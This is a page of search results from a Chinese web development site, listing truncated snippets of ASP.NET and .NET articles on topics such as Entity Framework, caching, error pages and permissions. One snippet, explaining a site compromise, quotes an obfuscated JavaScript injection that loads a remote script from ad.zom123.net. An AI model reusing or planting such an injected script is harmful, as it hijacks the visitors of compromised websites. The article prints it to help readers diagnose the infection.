Web开发网 > 站内搜索 > json.net
ADO.NET Entity Framework,即下一代的ADO.NET 。它是比Linq To SQL更加强大的ORM,让开发人员只需要着眼于领域对象模型的开发,而不需要考虑它们是如何与关系数据库交互。上一篇文章简单介绍了在项目中如何使用ADO.NET 实体框架,从现在开始,正式进入了ADO.NET 的学习之旅。这篇文章主要介绍在ADO.NET 实体框架中如何进行查询(以Northwind数据库为例)。1. 使用EntityCommand进行查询 在实体框架中,我们可以通过EntityCommand进行查询,它的使用方法就像ADO.NET 中的SqlCommand。不同的是 SqlCommahttp://www.w3dev.cn/article/20120331/ado-net-entity-framework-2.aspx
外再开辟1个G的内存来缓存,对于系统来说简直是无法忍受。由于我们用.net 发送数据,我们在发送时需要将对象序列化到流中,而不能像 C/C++那样直接通过指针来读取数据(当然你也可以用unsafe代码,但这种方式会带来其他问题,而且并不为大家所推荐),所以我们需要开发一个专门用 TCP 发送缓存的流来处理读写前的缓存。为此我开发了一个 TcpCacheStream 类,这个类被用在读写 NetworkStream 前先进行缓存。 调用方法很简单 发送过程object msg;//初始化 msg 过程省略System.Net .Sockets.NetworkStream _ClientStrehttp://www.w3dev.cn/article/20120318/improve-net-tcp-transport-speed.aspx
ASP.NET 2.0 Callback 使得ASP.NET Server端控件能够调用服务端的方法而不需要执行一个完整的Postback过程,也就是说使得Server端控件可以很好的支持Ajax。 Callback不同于Postback之处在于向服务器发送请求时只有ViewState和用户自定义信息被发送到服务器端,请求完毕后,只返回用户自定义结果,而不会从Render页面。 GridView控件正是使用了这个技术来实现无刷新的分页及排序功能,那么它是如何实现的哪,我们又如何在自定义控件中添加该功能哪?本文将会简单地阐述如何使用ASP.NET 2.0 Callback来实现Ajaxhttp://www.w3dev.cn/article/20120317/ASP-NET-ICallbackEventHandler-interface.aspx
.NET 性能优化 1)避免使用ArrayList。 因为任何对象添加到ArrayList都要封箱为System.Object类型,从ArrayList取出数据时,要拆箱回实际的类型。建议使用自定义的集合类型代替ArrayList。.net 2.0提供了一个新的类型,叫泛型,这是一个强类型,使用泛型集合就可以避免了封箱和拆箱的发生,提高了性能。2)使用HashTale代替其他字典集合类型 (如StringDictionary,NameValueCollection,HybridCollection),存放少量数据的时候可以使用HashTable.3)为字符串容器声明常量,不要直接把字符封装http://www.w3dev.cn/article/20120308/net-performance-Optimization.aspx
关系。规范应用程序的对象,使其符合WMI的规范,这样的工作对于.NET 程序员来说是直接简单的。因为WMI的架构模式本来就是面向对象的,并且有很多的特性与.NET 元数据是相通的。因此应用程序的对象可以直接映射为WMI对象,相同的,使应用程序代码转化为可管理的应用程序代码将不会需要很大的代价。举例来说您可以如此规范化.NET 应用程序:n 应用程序的组件可以发生事件。n 提供可管理的对象使得应用程序可以配置。n 暴露运行时数据,如性能特性来源:http://blog.csdn.net /21aspnet/article/details/153922http://www.w3dev.cn/article/20120307/net-wmi-namespace-introduce.aspx
directive”?答:这个问题可能在一个已经安装了Microsoft Visual Studio .NET 开发环境的机器上,再安装Window Sharepoint Server(WSS)后出现。WSS ISAPI过滤器会处理所有的请求。当你通过虚拟目录浏览一个ASP.NET 的应用程序时,ISAPI过滤器不会给文件夹目录分配URL。解决方法是:不要再安装了WSS的机器上使用Session。详细信息请参考:Session state cannot be used in ASP.NET with Windows SharePoint Serviceshttp://support.microhttp://www.w3dev.cn/article/20120304/asp-net-session-problem.aspx
注册上面的的路径和名称! 运行后出现成功! 4.解密 同样到网站根目录添加一个批处理文件deweb.bat,内容如下: @echooff C:/WINDOWS/Microsoft.NET /Framework/v2.0.50727/aspnet_regiis-pef"system.web/identity""E:/HSStudio/Donet2/Hnlawyer" C:/WINDOWS/Microsoft.NET /Framework/v2.0.50727/aspnet_regiis-pdf"connectionStrings""E:/HSStudio/Donet2/Hnlawyer" PAUhttp://www.w3dev.cn/article/20120303/asp-net-encrypt-database-link-string.aspx
N" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"html xmlns="http://www.w3.org/1999/xhtml" head runat="server" title清清月儿http://blog.csdn.net /21aspnet/title/headbody form id="form1" runat="server" div style="text-align: left" table style="width: 600px" tr td colspan="3" style="height: 20phttp://www.w3dev.cn/article/20120227/asp-net-create-statistics-chat.aspx
本和附件分开。示例代码 我们知道了客户端和服务器如何交换头信息以保证可恢复的下载,把这些知识与文件块流的思想结合起来,你就可以给自己的ASP.NET 应用程序增加可靠的下载管理能力了。 获取下载过程的控制权的方法是从客户端截取下载请求、读取头信息并适当地响应。在.NET 之前,你必须编写ISAPI(Internet服务器API)应用程序来实现这种功能,但是.NET 框架组件提供了一个IHttpHandler接口,在类中实现的时候,它允许你仅仅使用.NET 代码就能够截取和处理请求。这意味着你的应用程序对于下载过程有完全控制权和响应性,再也不会涉及或使用IIS的自动化函数。 示例代码在HttpHahttp://www.w3dev.cn/article/20120226/file-resume-broken-downloads.aspx
application that requires different versions of the Calculus.dll assembly CLR能够将名程相同但路径不同的多个文件加载到同一个地址空间,这在.NET 中称为并存执行(Side-By-Side)执行,它是解决Windows中”DLL Hole”问题的关键技术。 如.NET Framework 1.0 和.NET Framework 1.1都可以同是在一台机器上运行,这用到的就是并存执行(Side-By-Side)执行。 更多参考: ms-help://MS.MSDNQTR.2004APR.1033/cpguide/htmlhttp://www.w3dev.cn/article/20120225/net-assembly-introduction.aspx
ream(object_name)这个函数拿到对应的资源并以stream的方式返回,然后我们可以将这个stream转成在.NET 中可用的对象。比如,如果嵌入资源是一图片,那么我们可以利用New Bitmap(Stream)的constructor获得这个图片资源的Bitmap对象。 第二部分 创建资源文件 创建资源文件有两种方式,一种是使用.NET SDK自带的resgen工具来创建,另外一种是自己写code来创建。分别来介绍: 1. Resgen: 这个工具是.NET 自带的,它可以把.txt,.resX,转换为.resources文件。.resources文件是以一种以键-值方式对应存储http://www.w3dev.cn/article/20120225/net-globalization-resources-introduction.aspx
.Win32;usingSystem.Diagnostics;publicpartialclass_Default:System.Web.UI.Page{protectedvoidPage_Load(objectsender,EventArgse){//清清月儿http://blog.csdn.net /21aspnet/}protectedvoidButton1_Click(objectsender,EventArgse){//压缩Stringthe_rar;RegistryKeythe_Reg;Objectthe_Obj;Stringthe_Info;ProcessStartInfothehttp://www.w3dev.cn/article/20120225/asp-net-file-compression-decompression.aspx
dll和ICSharpCode.SharpZipLib.dllhttp://sourceforge.net /project/showfiles.php?group_id=72954iTextSharp.tutorial.01.zip 示例文件 提供了各种解决方案本文由于时间问题仅做抛砖引玉,希望大家自己研究其他需求itextsharp.dll itextsharp-4.0.3-dll.zip ICSharpCode.SharpZipLib.dll http://download.csdn.net /down/135897 ICSharpCode.SharpZipLib.dll SharpZipLhttp://www.w3dev.cn/article/20120225/asp-net-create-pdf-file.aspx
说 Asp.net 没有用我设置的这个 MyAccount 帐号模拟运行,而是仍然用IUSR 帐号模拟运行。查了好久,才发现是下面问题造成:用 Virtual Studio 2008 生成网站时,web.config 文件中默认会有这样一个设置:identity impersonate="true" / 这个设置是为 IIS 6 做身份模拟而设置的。在这种情况下,用户身份的认证交给IIS来进行。当允许匿名登录时,IIS将一个匿名登录使用的标识(缺省情况下是IUSR)交给ASP.NET 应用程序。当不允许匿名登录时,IIS将认证过的身份标识传递给ASP.NET 应用程序。ASP.NET 的具体访问权http://www.w3dev.cn/article/20120224/iis7-ASP-NET-impersonation.aspx
问题描述:asp.net 操作EXCEL组件时提示没有权限解决办法:确保你有足够的权限,开始-运行:dcomcnfg,在应用程序列表框中选择“Microsoft Excel 应用程序”-“安全性”-选择“使用自定义访问权限”,点击“编辑”按钮,添加本地“ASPNET”用户,权限为“允许访问。来源:http://blog.csdn.net /littlehb/article/details/150653http://www.w3dev.cn/article/20120223/3559.aspx
tylediv{background-color:#ffffcc;padding-top:10px;padding-bottom:10px;padding-left:10px;padding-right:10px;border-style:solid;border-color:Black;border-width:1px;}/stylebodydivh121世纪开运网www.21kaiyun.com站点更新中站点更新中/h1p站点更新中,请稍后访问。/p/div/body/html来源:http://blog.csdn.net /21aspnet/article/details/5770566http://www.w3dev.cn/article/20120219/app-offline-effect-in-asp-net-website.aspx
http://www.w3dev.cn/article/20120212/asp-net-three-layer-access-souce-code.aspx
用VB.net 和Jscript动态数据类型 应当始终显示地申明变量数据类型,这能够节约程序的执行时间。以往,开发人员喜欢使用 Visual Basic、VBScript 和 JScript 的原因之一就是它们所谓"无类型"的性质。变量不需要显式类型声明,并能够简单地通过使用来创建它们。当从一个类型到另一个类型进行分配时,转换将自动执行。不过,这种便利会大大损害应用程序的性能。 如: 为了获得最佳的性能,当声明 JScript .NET 变量时,请为其分配一个类型。例如,var A : String; 四、使用缓存 1、使用Output Cache缓存数据 提供缓存功能是ASP.net 中非常强http://www.w3dev.cn/article/20120212/asp-net-optimization.aspx
,并且不更改浏览器中的原始 URL。 当设置redirectmode为responserewrite时,如果未安装.net framework3.5,会显示asp.net 默认的编译错误,并没有执行定义的错误页面。edirectMode指定为ResponseRedirect时会执行指定的错误页面,但是会附带aspxerrorpat参数。 所以要配置web.config的customErrors节点的属性RedirectMode为ResponseRedirect并且起作用,需要安装.net framework3.5。 相关文章去掉隐藏asp.net 编译出错aspxerrorpath错误参数http://www.w3dev.cn/article/20120207/web-config-redirectmode-responserewrite-does-not-work.aspx
asp.net 防止图片盗链有以下几种方法。 1.所有的image url都跟上密文.比如你在绑定页面image url时可以这么做.以下是MVC示例.其他的差不多. ImageController+展开-C# stringpath="/Content/"; stringimgName="girl.jpg"; longticks=DateTime.Now.Ticks; //使用当前时间刻度作为待加密对象 stringencryptKey=ticks.ToString(); //使用自定义对称算法加密 byte[]data=SymmetricEncryptionUtilithttp://www.w3dev.cn/article/20120101/asp-net-forbid-image-External-reference.aspx
Microsoft .NET Framework 版本:2.0.50727.1433; ASP.NET 版本:2.0.50727.1433 ************************** *2: 解决办法 * ************************** 找到当前.Net 文件夹, 修改Temporary ASP.NET Files 属性--安全 --增加NETWORK SERVICE用户 并设置可写入权限 例如:在 C:\WINDOWS\Microsoft.NET \Framework\v2.0.50727\ 修改Temporary ASP.NET Files 属性--http://www.w3dev.cn/article/20120101/asp-net-Common-configuration-error.aspx
使用ASP.NET 编辑页面时,有两种注释方式:一是使用!-- --,二是使用%-- --%,前一种方式是标准的HTML注释,在HTML文件中也可以使用,后一种是ASP.NET 特有的注释,只有在ASPX文件中可以使用。那么这两种注释有什么区别呢?区别就是它们是否显示在页面最终生成的HTML文件中。现在做一个试验,做一个test.aspx文件,页面代码如下。+展开-HTML html body formid="form1"runat="server" 注释测试 !--htmlcomment会包含在最终生成的html文件中-- %--aspxcomment不会包含在最终生成的htmhttp://www.w3dev.cn/article/20120101/asp-net-note-html-note-difference.aspx
最近看到朋友的网站第一次访问的时候会转向到ad.zom123.net 这个网址,然后弹窗窗口,还以为我电脑中病毒了,后面在网上查找好像有很多都有ad.zom123.net 这个问题。 出现这个问题就是基本是你的站被黑了,一些公用js文件被插入了下面的JavaScript代码+展开-JavaScriptdocument.write('sc'+'riptsrc="\/sc'+'ript'"http://%61d'+'.%7ao'+'m1'+'2%33'+'.ne'+'t/ip'+'.asp?'+'c=tianjin|vietnam"\/sc'+'ript'); 这个广告代码是动态插入的,直接http://www.w3dev.cn/article/20111220/ad-zom123-net-pop-virus.aspx
“/”应用程序中的服务器错误。--------------------------------------------------------------------------------配置错误 说明: 在处理向该请求提供服务所需的配置文件时出错。请检查下面的特定错误详细信息并适当地修改配置文件。 分析器错误消息: 无法识别的属性“redirectMode”。请注意属性名称区分大小写。asp.net 陈旭编译的时候出现这个错误。这个是因为使用的framework不是3.5版本的问题,redirectMode属性在.net 3.5里才有,2.0, 3.0的话要打SP2补丁。http://www.w3dev.cn/article/20111025/asp-net-do-not-know-attribute-redirectmode.aspx
一个跳转页面,几秒钟后会自动跳转到 Default.aspx 页面。3)Default.aspx 页面Default.aspx 页面是主界面,打开主界面时会判断 LoginSession 和 LoginCookie 的值是否正确,并把 Session 和 Cookie 的值显示出来。提交ASP.NET 表单(即完成自动登录)的代码如下:+展开-C#try{CookieContainercookieContainer=newCookieContainer();/////////////////////////////////////////////////////1.打开MyLogin.aspxhttp://www.w3dev.cn/article/20111017/cshar-httpwebrequest-post-form-save-session.aspx
http://www.w3dev.cn/article/20110930/asp-net-jmail-reply-email-address.aspx
asp.net 中的runat属性一定要注意放置的位置,要不会导致编译器编译出错。runat和server 这2个单词不能同时放在尖括号后面,要不编译器会编译出错。如,!--runat server-- ,虽然是注释的意思,但是会编译出错,提示服务器标记不正确!“/”应用程序中的服务器错误。 分析器错误 说明: 在分析向此请求提供服务所需资源时出错。请检查下列特定分析错误详细信息并适当地修改源文件。 分析器错误消息: 服务器标记的格式不正确。 asp.net 的ruant 和server和Javhttp://www.w3dev.cn/article/20110929/asp-net-runat-server-attribute-error.aspx
ASP.NET (1.0/1.1)给我们提供了一个开发WebControl的编程模型,于是我们摆脱了asp里面的include模式的复用方式。不过 1.0/1.1提供的Web控件开发模型对于处理没有image、css等外部资源的组件还算比较得心应手,script虽然很多时候也是外部资源,但在开发控件的时候我们习惯把script使用Page.Register...Script()来嵌入模块,因为紧凑的东西更便于我们复用,用一个dll就可以解决问题又何必要节外生枝呢。 ASP.NET 2.0提供的Web Resources管理模型,很好的解决了image、css、script等外部资源的管理问http://www.w3dev.cn/article/20110915/asp-net-assembly-WebResource.aspx
户重定向到该错误页面,并且原始 URL 更改为该错误页面的 URL,并附带aspxerrorpath参数,参数值为发生错误的动态页的路径。 2)RedirectMode 属性设置为 ResponseRewrite,则将用户定向到错误页面,并且不更改浏览器中的原始 URL。 所以要删除asp.net 编译出错时附带的aspxerrorpath参数,需要设置RedirectMode为ResponseRewrite+展开-XMLcustomErrorsdefaultRedirect="404.aspx"mode="On"redirectMode="ResponseRewrite"errorstahttp://www.w3dev.cn/article/20110812/remove-aspxerrorpath-error-paramter.aspx
概要本文介绍如何在 ASP.NET 中发生错误时使用 Visual C# .NET 代码捕获和响应错误。ASP.NET 改进了传统的 Microsoft Active Server Page (ASP) 中的错误处理选项。在 ASP.NET 中,您可在应用程序中处理若干不同级别的错误。 ASP.NET 中的新功能ASP.NET 在处理和响应错误的方式上进行了若干改进。在传统的 ASP 中,是用"On Error Resume Next"(或在 Jscript 中用 try-catch 块)处理错误的。或者,如果您运行的是 Microsoft Internet Information Serhttp://www.w3dev.cn/article/20110812/asp-net-self-define-error-handler.aspx
首页 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] 下一页 尾页 7/16页,每页显示30条,共474条相关记录